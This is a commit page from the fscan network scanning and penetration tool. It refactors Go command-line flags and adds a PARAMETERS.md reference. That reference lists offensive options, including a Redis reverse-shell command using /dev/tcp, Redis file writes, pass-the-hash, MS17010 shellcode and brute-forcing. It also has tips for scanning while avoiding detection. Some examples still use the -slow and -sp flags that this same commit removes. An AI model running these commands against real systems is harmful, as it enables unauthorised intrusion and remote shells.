refactor: 精简命令行参数提升用户体验

移除冗余和低频使用的参数:
- 移除 -ping 参数,统一使用 -np 控制存活检测
- 移除 -top 参数,改为智能计算显示数量
- 移除 -np-bar, -slow, -sp 调试参数
- 重构 -pg 为 -nopg,简化进度条控制逻辑

主要变更:
- 将进度条控制从默认开启改为默认显示,使用 -nopg 禁用
- 实现智能TOP计算,根据扫描规模自动调整显示数量
- 统一参数命名风格,提高易用性
- 完善参数文档,新增 PARAMETERS.md

影响:
- 简化了用户界面,减少参数学习成本
- 保持核心功能不变,提升使用体验
- 移除功能重复和混淆的参数选项
This commit is contained in:
ZacharyZcR 2025-08-07 07:18:32 +08:00
parent 8c3039506f
commit f943f04de7
10 changed files with 350 additions and 58 deletions

View File

@ -22,8 +22,6 @@ var (
ModuleThreadNum int ModuleThreadNum int
GlobalTimeout int64 GlobalTimeout int64
LiveTop int
UsePing bool
EnableFingerprint bool EnableFingerprint bool
AddUsers string AddUsers string
@ -60,9 +58,7 @@ var (
DisableSave bool DisableSave bool
Silent bool Silent bool
ShowProgress bool DisableProgress bool
ShowScanPlan bool
SlowLogOutput bool
Shellcode string Shellcode string
@ -148,9 +144,8 @@ func Flag(Info *HostInfo) {
flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout")) flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 10, i18n.GetText("flag_module_thread_num")) flag.IntVar(&ModuleThreadNum, "mt", 10, i18n.GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout")) flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
flag.IntVar(&LiveTop, "top", 10, i18n.GetText("flag_live_top")) // LiveTop 参数已移除,改为智能控制
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping")) flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&UsePing, "ping", false, i18n.GetText("flag_use_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint")) flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode")) flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
@ -213,11 +208,7 @@ func Flag(Info *HostInfo) {
flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode")) flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color")) flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level")) flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
flag.BoolVar(&ShowProgress, "pg", true, i18n.GetText("flag_show_progress")) flag.BoolVar(&DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
var noProgress bool
flag.BoolVar(&noProgress, "np-bar", false, i18n.GetText("flag_no_progress"))
flag.BoolVar(&ShowScanPlan, "sp", false, i18n.GetText("flag_show_scan_plan"))
flag.BoolVar(&SlowLogOutput, "slow", false, i18n.GetText("flag_slow_log_output"))
// ═════════════════════════════════════════════════ // ═════════════════════════════════════════════════
// 其他参数 // 其他参数
@ -235,10 +226,9 @@ func Flag(Info *HostInfo) {
// 设置语言 // 设置语言
i18n.SetLanguage(Language) i18n.SetLanguage(Language)
// 处理进度条禁用逻辑
if noProgress { // 更新进度条显示状态
ShowProgress = false ShowProgress = !DisableProgress
}
// 如果显示帮助或者没有提供目标,显示帮助信息并退出 // 如果显示帮助或者没有提供目标,显示帮助信息并退出
if showHelp || shouldShowHelp(Info) { if showHelp || shouldShowHelp(Info) {

View File

@ -474,8 +474,8 @@ func applyLogLevel() {
config := &logging.LoggerConfig{ config := &logging.LoggerConfig{
Level: level, Level: level,
EnableColor: !NoColor, EnableColor: !NoColor,
SlowOutput: SlowLogOutput, SlowOutput: false,
ShowProgress: true, ShowProgress: ShowProgress,
StartTime: StartTime, StartTime: StartTime,
LevelColors: logging.GetDefaultLevelColors(), LevelColors: logging.GetDefaultLevelColors(),
} }

View File

@ -69,8 +69,8 @@ func getGlobalLogger() *logging.Logger {
config := &logging.LoggerConfig{ config := &logging.LoggerConfig{
Level: level, Level: level,
EnableColor: !NoColor, EnableColor: !NoColor,
SlowOutput: SlowLogOutput, SlowOutput: false,
ShowProgress: true, ShowProgress: ShowProgress,
StartTime: StartTime, StartTime: StartTime,
} }
globalLogger = logging.NewLogger(config) globalLogger = logging.NewLogger(config)

View File

@ -52,9 +52,8 @@ type ScanControlConfig struct {
ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数 ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数
Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒) Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒)
GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒) GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒)
LiveTop int `json:"live_top"` // 显示的存活主机排名数量 // LiveTop 已移除,改为智能控制
DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测 DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测
UsePing bool `json:"use_ping"` // 是否使用ICMP Ping检测主机存活
EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别 EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别
LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式 LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式
} }
@ -108,9 +107,7 @@ type DisplayConfig struct {
Silent bool `json:"silent"` // 是否启用静默模式 Silent bool `json:"silent"` // 是否启用静默模式
NoColor bool `json:"no_color"` // 是否禁用彩色输出 NoColor bool `json:"no_color"` // 是否禁用彩色输出
LogLevel string `json:"log_level"` // 日志输出级别 LogLevel string `json:"log_level"` // 日志输出级别
ShowProgress bool `json:"show_progress"` // 是否显示进度条 DisableProgress bool `json:"disable_progress"` // 是否禁用进度条
ShowScanPlan bool `json:"show_scan_plan"` // 是否显示扫描计划详情
SlowLogOutput bool `json:"slow_log_output"` // 是否启用慢速日志输出
Language string `json:"language"` // 界面语言设置 Language string `json:"language"` // 界面语言设置
} }

View File

@ -70,6 +70,9 @@ var (
NoColor bool // 直接映射到base.NoColor NoColor bool // 直接映射到base.NoColor
Language string // 直接映射到base.Language Language string // 直接映射到base.Language
LogLevel string // 直接映射到base.LogLevel LogLevel string // 直接映射到base.LogLevel
// 进度条控制
ShowProgress bool // 计算得出:!DisableProgress
) )
// ============================================================================= // =============================================================================

View File

@ -704,10 +704,6 @@ var coreMessages = map[string]map[string]string{
LangZH: "禁用ping探测", LangZH: "禁用ping探测",
LangEN: "Disable ping detection", LangEN: "Disable ping detection",
}, },
"flag_use_ping": {
LangZH: "启用ping探测",
LangEN: "Enable ping detection",
},
"flag_enable_fingerprint": { "flag_enable_fingerprint": {
LangZH: "启用指纹识别", LangZH: "启用指纹识别",
LangEN: "Enable fingerprinting", LangEN: "Enable fingerprinting",
@ -860,22 +856,10 @@ var coreMessages = map[string]map[string]string{
LangZH: "日志级别", LangZH: "日志级别",
LangEN: "Log level", LangEN: "Log level",
}, },
"flag_show_progress": { "flag_disable_progress": {
LangZH: "显示进度条 (默认启用)",
LangEN: "Show progress bar (enabled by default)",
},
"flag_no_progress": {
LangZH: "禁用进度条", LangZH: "禁用进度条",
LangEN: "Disable progress bar", LangEN: "Disable progress bar",
}, },
"flag_show_scan_plan": {
LangZH: "显示扫描计划",
LangEN: "Show scan plan",
},
"flag_slow_log_output": {
LangZH: "慢速日志输出",
LangEN: "Slow log output",
},
"flag_shellcode": { "flag_shellcode": {
LangZH: "Shellcode", LangZH: "Shellcode",
LangEN: "Shellcode", LangEN: "Shellcode",

View File

@ -117,11 +117,30 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
RunPing(hostslist, chanHosts) RunPing(hostslist, chanHosts)
} }
// getOptimalTopCount 根据扫描规模智能决定显示数量
func getOptimalTopCount(totalHosts int) int {
switch {
case totalHosts > 50000: // 超大规模扫描
return 20
case totalHosts > 10000: // 大规模扫描
return 15
case totalHosts > 1000: // 中等规模扫描
return 10
case totalHosts > 256: // 小规模扫描
return 5
default:
return 3
}
}
// printAliveStats 打印存活统计信息 // printAliveStats 打印存活统计信息
func printAliveStats(hostslist []string) { func printAliveStats(hostslist []string) {
// 智能计算显示数量
topCount := getOptimalTopCount(len(hostslist))
// 大规模扫描时输出 /16 网段统计 // 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 { if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true) arrTop, arrLen := ArrayCountValueTop(AliveHosts, topCount, true)
for i := 0; i < len(arrTop); i++ { for i := 0; i < len(arrTop); i++ {
common.LogInfo(i18n.GetText("subnet_16_alive", arrTop[i], arrLen[i])) common.LogInfo(i18n.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
} }
@ -129,7 +148,7 @@ func printAliveStats(hostslist []string) {
// 输出 /24 网段统计 // 输出 /24 网段统计
if len(hostslist) > 256 { if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false) arrTop, arrLen := ArrayCountValueTop(AliveHosts, topCount, false)
for i := 0; i < len(arrTop); i++ { for i := 0; i < len(arrTop); i++ {
common.LogInfo(i18n.GetText("subnet_24_alive", arrTop[i], arrLen[i])) common.LogInfo(i18n.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
} }

View File

@ -9,7 +9,6 @@ import (
"strings" "strings"
"sync" "sync"
"sync/atomic" "sync/atomic"
"time"
) )
// ScanTask 表示单个扫描任务 // ScanTask 表示单个扫描任务
@ -99,10 +98,6 @@ func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan
// 准备扫描任务 // 准备扫描任务
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy) tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
// 输出扫描计划
if common.ShowScanPlan && len(tasks) > 0 {
logScanPlan(tasks)
}
// 初始化进度条 // 初始化进度条
if len(tasks) > 0 && common.ShowProgress { if len(tasks) > 0 && common.ShowProgress {
@ -170,8 +165,6 @@ func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct
*ch <- struct{}{} // 获取并发槽位 *ch <- struct{}{} // 获取并发槽位
go func() { go func() {
startTime := time.Now()
defer func() { defer func() {
// 捕获并记录任何可能的panic // 捕获并记录任何可能的panic
if r := recover(); r != nil { if r := recover(); r != nil {
@ -180,11 +173,6 @@ func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct
} }
// 完成任务,释放资源 // 完成任务,释放资源
duration := time.Since(startTime)
if common.ShowScanPlan {
common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
pluginName, target.Host, target.Ports, duration.Seconds()))
}
wg.Done() wg.Done()
<-*ch // 释放并发槽位 <-*ch // 释放并发槽位

View File

@ -66,7 +66,7 @@ func (s *ServiceScanStrategy) performHostScan(hosts []string, info common.HostIn
if len(hosts) > 0 || len(common.HostPort) > 0 { if len(hosts) > 0 || len(common.HostPort) > 0 {
// 主机存活检测 // 主机存活检测
if s.shouldPerformLivenessCheck(hosts) { if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, common.UsePing) hosts = CheckLive(hosts, false)
common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts))) common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
} }
@ -127,7 +127,7 @@ func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo) []common.Host
if len(hosts) > 0 || len(common.HostPort) > 0 { if len(hosts) > 0 || len(common.HostPort) > 0 {
// 主机存活检测 // 主机存活检测
if s.shouldPerformLivenessCheck(hosts) { if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, common.UsePing) hosts = CheckLive(hosts, false)
} }
// 端口扫描 // 端口扫描

311
PARAMETERS.md Normal file
View File

@ -0,0 +1,311 @@
# Fscan 参数完整文档
> **版本**: 2.0.2
> **更新日期**: 2025-01-06
## 📋 目录
- [目标配置参数](#目标配置参数)
- [扫描控制参数](#扫描控制参数)
- [认证与凭据参数](#认证与凭据参数)
- [Web扫描参数](#web扫描参数)
- [POC测试参数](#poc测试参数)
- [Redis利用参数](#redis利用参数)
- [暴力破解控制参数](#暴力破解控制参数)
- [输出与显示控制参数](#输出与显示控制参数)
- [其他参数](#其他参数)
- [使用示例](#使用示例)
- [最佳实践](#最佳实践)
---
## 🎯 目标配置参数
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|-----|------|-------|------|------|
| `-h` | string | - | **目标主机**: IP, IP段, 域名 | `-h 192.168.1.1` |
| `-hf` | string | - | 主机文件路径 | `-hf hosts.txt` |
| `-eh` | string | - | 排除主机列表 | `-eh 192.168.1.1,192.168.1.2` |
| `-p` | string | 常用端口 | **扫描端口**: 单个端口、范围或列表 | `-p 80,443,1-1000` |
| `-pf` | string | - | 端口文件路径 | `-pf ports.txt` |
| `-ep` | string | - | 排除端口列表 | `-ep 80,443` |
### 端口格式说明
- **单个端口**: `80`
- **端口列表**: `80,443,3389`
- **端口范围**: `1-1000`
- **组合使用**: `22,80,443,8080-8090`
- **默认端口组**: `21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616`
---
## ⚙️ 扫描控制参数
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|-----|------|-------|------|------|
| `-m` | string | `all` | **扫描模式**: all, portscan, tcpscan等 | `-m portscan` |
| `-t` | int | `600` | **端口扫描线程数** | `-t 1000` |
| `-time` | int | `3` | 端口扫描超时时间(秒) | `-time 5` |
| `-mt` | int | `10` | 模块线程数 | `-mt 20` |
| `-gt` | int | `180` | 全局超时时间(秒) | `-gt 300` |
| `-np` | bool | `false` | **禁用ping探测** | `-np` |
| `-fingerprint` | bool | `false` | **启用服务指纹识别** | `-fingerprint` |
| `-local` | bool | `false` | 本地扫描模式 | `-local` |
### 扫描模式说明
- **`all`** (默认): 完整扫描 (端口+服务+漏洞)
- **`portscan`**: 仅端口扫描
- **`tcpscan`**: TCP端口扫描
- **`udpscan`**: UDP端口扫描
- **`icmp`**: ICMP存活探测
- **自定义模式**: 可指定特定插件名称
---
## 🔐 认证与凭据参数
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|-----|------|-------|------|------|
| `-user` | string | - | **用户名** | `-user admin` |
| `-pwd` | string | - | **密码** | `-pwd password123` |
| `-usera` | string | - | 额外用户名列表 | `-usera "admin,root,test"` |
| `-pwda` | string | - | 额外密码列表 | `-pwda "123456,password"` |
| `-userf` | string | - | 用户名字典文件 | `-userf users.txt` |
| `-pwdf` | string | - | 密码字典文件 | `-pwdf passwords.txt` |
| `-domain` | string | - | **SMB域名** | `-domain COMPANY` |
| `-hash` | string | - | 哈希值 (用于哈希传递攻击) | `-hash ntlmhash` |
| `-hashf` | string | - | 哈希文件 | `-hashf hashes.txt` |
| `-sshkey` | string | - | **SSH私钥文件路径** | `-sshkey ~/.ssh/id_rsa` |
---
## 🌐 Web扫描参数
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|-----|------|-------|------|------|
| `-u` | string | - | **目标URL** | `-u http://example.com` |
| `-uf` | string | - | URL文件 | `-uf urls.txt` |
| `-cookie` | string | - | **HTTP Cookie** | `-cookie "session=abc123"` |
| `-wt` | int | `5` | Web请求超时时间(秒) | `-wt 10` |
| `-proxy` | string | - | **HTTP代理** | `-proxy http://127.0.0.1:8080` |
| `-socks5` | string | - | **SOCKS5代理** | `-socks5 127.0.0.1:1080` |
---
## 🔍 POC测试参数
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|-----|------|-------|------|------|
| `-pocname` | string | - | **指定POC名称** | `-pocname "weblogic"` |
| `-pocpath` | string | - | **自定义POC路径** | `-pocpath ./mypocs/` |
| `-nopoc` | bool | `false` | 禁用POC扫描 | `-nopoc` |
| `-full` | bool | `false` | **全量POC扫描** | `-full` |
| `-num` | int | `20` | POC并发数 | `-num 50` |
| `-dns` | bool | `false` | DNS日志记录 | `-dns` |
---
## 📡 Redis利用参数
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|-----|------|-------|------|------|
| `-rf` | string | - | **Redis公钥文件** | `-rf ~/.ssh/id_rsa.pub` |
| `-rs` | string | - | **Redis反弹Shell** | `-rs "bash -i >&/dev/tcp/ip/port 0>&1"` |
| `-noredis` | bool | `false` | 禁用Redis扫描 | `-noredis` |
| `-rwp` | string | - | Redis写入路径 | `-rwp /tmp/` |
| `-rwc` | string | - | Redis写入内容 | `-rwc "malicious content"` |
| `-rwf` | string | - | Redis写入文件 | `-rwf ./payload.txt` |
---
## 🔓 暴力破解控制参数
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|-----|------|-------|------|------|
| `-nobr` | bool | `false` | **禁用暴力破解** | `-nobr` |
| `-retry` | int | `3` | 连接失败最大重试次数 | `-retry 5` |
---
## 📤 输出与显示控制参数
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|-----|------|-------|------|------|
| `-o` | string | `result.txt` | **输出文件路径** | `-o scan_results.txt` |
| `-f` | string | `txt` | **输出格式**: txt, json, csv | `-f json` |
| `-no` | bool | `false` | 禁用结果保存 | `-no` |
| `-silent` | bool | `false` | **静默模式** | `-silent` |
| `-nocolor` | bool | `false` | 禁用颜色输出 | `-nocolor` |
| `-log` | string | `BASE_INFO_SUCCESS` | **日志级别** | `-log ALL` |
| `-nopg` | bool | `false` | **禁用进度条** | `-nopg` |
### 日志级别说明
- **`ALL`**: 显示所有日志
- **`ERROR`**: 仅显示错误
- **`BASE`**: 基础信息
- **`INFO`**: 详细信息
- **`SUCCESS`**: 成功结果
- **`DEBUG`**: 调试信息
- **`BASE_INFO_SUCCESS`** (默认): 基础+信息+成功
---
## 🔧 其他参数
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|-----|------|-------|------|------|
| `-sc` | string | - | **Shellcode** (用于MS17010等) | `-sc shellcode.bin` |
| `-lang` | string | `zh` | **语言设置**: zh, en | `-lang en` |
| `-help` | bool | `false` | **显示帮助信息** | `-help` |
---
## 💡 使用示例
### 基础扫描示例
```bash
# 1. 基础主机扫描
fscan.exe -h 192.168.1.1
# 2. 网段扫描
fscan.exe -h 192.168.1.0/24
# 3. 指定端口扫描
fscan.exe -h 192.168.1.1 -p 80,443,8080
# 4. 端口范围扫描
fscan.exe -h 192.168.1.1 -p 1-1000
# 5. 从文件读取目标
fscan.exe -hf targets.txt -p 80,443
```
### 高级扫描示例
```bash
# 6. 服务指纹识别
fscan.exe -h 192.168.1.1 -fingerprint
# 7. 完整扫描 (包括POC)
fscan.exe -h 192.168.1.1 -full
# 8. 静默模式扫描
fscan.exe -h 192.168.1.1 -silent -o results.json -f json
# 9. 高性能扫描
fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np
# 10. Web应用扫描
fscan.exe -u http://example.com -full
```
### 认证扫描示例
```bash
# 11. SMB扫描带认证
fscan.exe -h 192.168.1.1 -user administrator -pwd password -domain COMPANY
# 12. SSH密钥认证
fscan.exe -h 192.168.1.1 -sshkey ~/.ssh/id_rsa
# 13. 暴力破解扫描
fscan.exe -h 192.168.1.1 -userf users.txt -pwdf passwords.txt
# 14. 禁用暴力破解
fscan.exe -h 192.168.1.1 -nobr
```
### 特殊用途示例
```bash
# 15. Redis利用
fscan.exe -h 192.168.1.1 -rf ~/.ssh/id_rsa.pub
# 16. 代理扫描
fscan.exe -h 192.168.1.1 -proxy http://127.0.0.1:8080
# 17. 指定POC测试
fscan.exe -h 192.168.1.1 -pocname weblogic
# 18. 仅端口扫描
fscan.exe -h 192.168.1.1 -m portscan
```
---
## 🏆 最佳实践
### 🚀 性能优化
```bash
# 高性能内网扫描
fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np -nobr
# 快速端口发现
fscan.exe -h target -m portscan -t 2000 -time 1
# 轻量级服务识别
fscan.exe -h target -fingerprint -nobr -nopoc
```
### 🛡️ 隐蔽扫描
```bash
# 慢速扫描避免检测
fscan.exe -h target -t 10 -time 10 -slow
# 通过代理扫描
fscan.exe -h target -proxy http://proxy:8080 -t 50
```
### 📊 结果输出
```bash
# JSON格式便于处理
fscan.exe -h target -f json -o results.json
# 静默模式仅保存结果
fscan.exe -h target -silent -o results.txt
# 详细日志调试
fscan.exe -h target -log ALL -sp
```
### 🎯 针对性扫描
```bash
# Web应用专项
fscan.exe -u http://target -full -cookie "session=xxx"
# 数据库专项
fscan.exe -h target -p 1433,3306,5432,6379 -fingerprint
# Windows主机专项
fscan.exe -h target -p 135,139,445,3389 -domain COMPANY
```
---
## ⚠️ 注意事项
1. **性能调优**:
- 内网扫描可使用 `-t 1000` 提高速度
- 互联网扫描建议 `-t 100` 避免被限制
2. **权限要求**:
- ICMP需要管理员权限
- 某些端口扫描可能需要提升权限
3. **网络环境**:
- 防火墙可能影响扫描结果
- 代理环境下注意配置 `-proxy``-socks5`
4. **法律合规**:
- 仅在授权环境下使用
- 遵守相关法律法规
---
**📞 技术支持**: [https://fscan.club](https://fscan.club)
**🐛 问题反馈**: [GitHub Issues](https://github.com/shadow1ng/fscan/issues)